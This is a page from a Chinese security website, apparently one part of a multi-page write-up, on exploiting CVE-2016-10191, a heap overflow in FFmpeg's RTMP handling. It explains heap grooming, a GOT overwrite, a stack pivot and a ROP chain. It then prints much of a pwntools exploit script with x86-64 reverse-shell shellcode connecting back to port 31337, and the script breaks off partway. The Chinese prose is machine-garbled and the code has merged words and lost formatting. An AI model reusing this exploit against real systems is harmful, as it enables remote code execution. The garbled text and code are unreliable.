欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

FFmpeg破绽漏洞bug研究及运用,漏洞编号:CVE-2016-10191

来源:本站整理 作者:佚名 时间:2017-09-21 TAG: 我要投稿
if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
channel_id)) 0)
很容易想到应用堆溢出笼罩这个RTMPPacket的数组就可以够了,然则这时刻的堆结构数组是在可溢出的heap chunk的上方,怎样办?再发送一个CSID为20的 chunk 给客户端,ff_rtmp_check_alloc_array会挪用realloc函数给数组从新分派更大的空间,尔后数组就跑到上面去了。此时的堆结构以下

尔后咱们就可以够结构数据包来溢出笼罩数组了,咱们在数据包中捏造一个RTMPPacket结构体,尔后把数组的第二项笼罩成咱们捏造的结构体。此中 data 字段指向 got 表中的realloc(为何笼罩realloc前面会提), size 随便指定一个0×4141, read 字段指定为0×180, 只需不为0就行了(为0的话会在堆上malloc一块地区尔后把 data 指针指向这块地区)。
这以后咱们再发送 CSID 为2的一个 chunk,chunk 的内容便是要改动的 got 表的内容。这里咱们笼罩成movrsp, rax这个gadget 的地点,用来迁徙栈。接下来咱们就把 ROP 安排在堆上。ROP 做了这么几件事:
1 挪用mprotect使得代码段可写
2 把shellcode写入0×40000肇端的地位
3 跳转到0×400000履行shellcode
发送充足数目的包安排好 ROP 以后,就要想办法挪用realloc函数了,ffrtmpcheckallocarray函数挪用了realloc, 发一个 CSID 为63的曩昔,就可以触发这个函数挪用realloc,在函数挪用realloc以前恰好能将RTMPPacket数组的肇端地点填入rax,尔后挪用realloc的时刻由于 got 表被覆写了,现实挪用了movrsp, rax,尔后就胜利让栈指针指向堆上了。以后就可以够胜利开端履行咱们的shellcode了。这个时刻全部堆的结构以下:

末了应用胜利的截图以下:
先在本机开启一个恶意病毒木马的 RTMP 办事端

尔后应用ffmpeg程式去衔接上图的办事端

在另一个终端用nc监听31337端口

能够看到程式履行了咱们的shellcode以后胜利连上了31337端口,并反弹了一个 shell。
末了附上完备的exp,依据https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913改动而来
#!/usr/bin/python
#coding=utf-8
 
importos
import socket
importstruct
from time import sleep
 
frompwn import *
 
bind_ip = '0.0.0.0'
bind_port = 12345
 
elf = ELF('/home/dddong/bin/ffmpeg')
 
gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))
 
 
# Gadgets that we need to know inside binary
# to successfully exploit it remotely
add_esp_f8 = 0x00000000006719e3
pop_rdi = gadget('pop rdi; ret')
pop_rsi = gadget('pop rsi; ret')
pop_rdx = gadget('pop rdx; ret')
pop_rax = gadget('pop rax; ret')
mov_rsp_rax = gadget('movrsp, rax; ret')
mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')
 
 
got_realloc = elf.got['realloc']
log.info("got_reallocaddr:%#x" % got_realloc)
plt_mprotect = elf.plt['mprotect']
log.info("plt_mprotectaddr:%#x" % plt_mprotect)
 
shellcode_location = 0x400000
# backconnect 127.0.0.1:31337 x86_64 shellcode
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
 
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字节对齐
 
defcreate_payload(size, data, channel_id):
天生一个RTMP Message
payload = ''
    #Message header的范例为1
payload += p8((1 6) + channel_id) # (hdr6) &channel_id;
payload += '\0\0\0' # ts_field
payload += p24(size) # size
payload += p8(0x00) # Message type
 
payload += data # data
return payload
 
defcreate_rtmp_packet(channel_id, write_location, size=0x4141):
发明一个RTMPPacket结构体
data = ''
data += p32(channel_id) # channel_id
data += p32(0) # type
data += p32(0) # timestamp
data += p32(0) # ts_field
data += p64(0) # extra
 

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载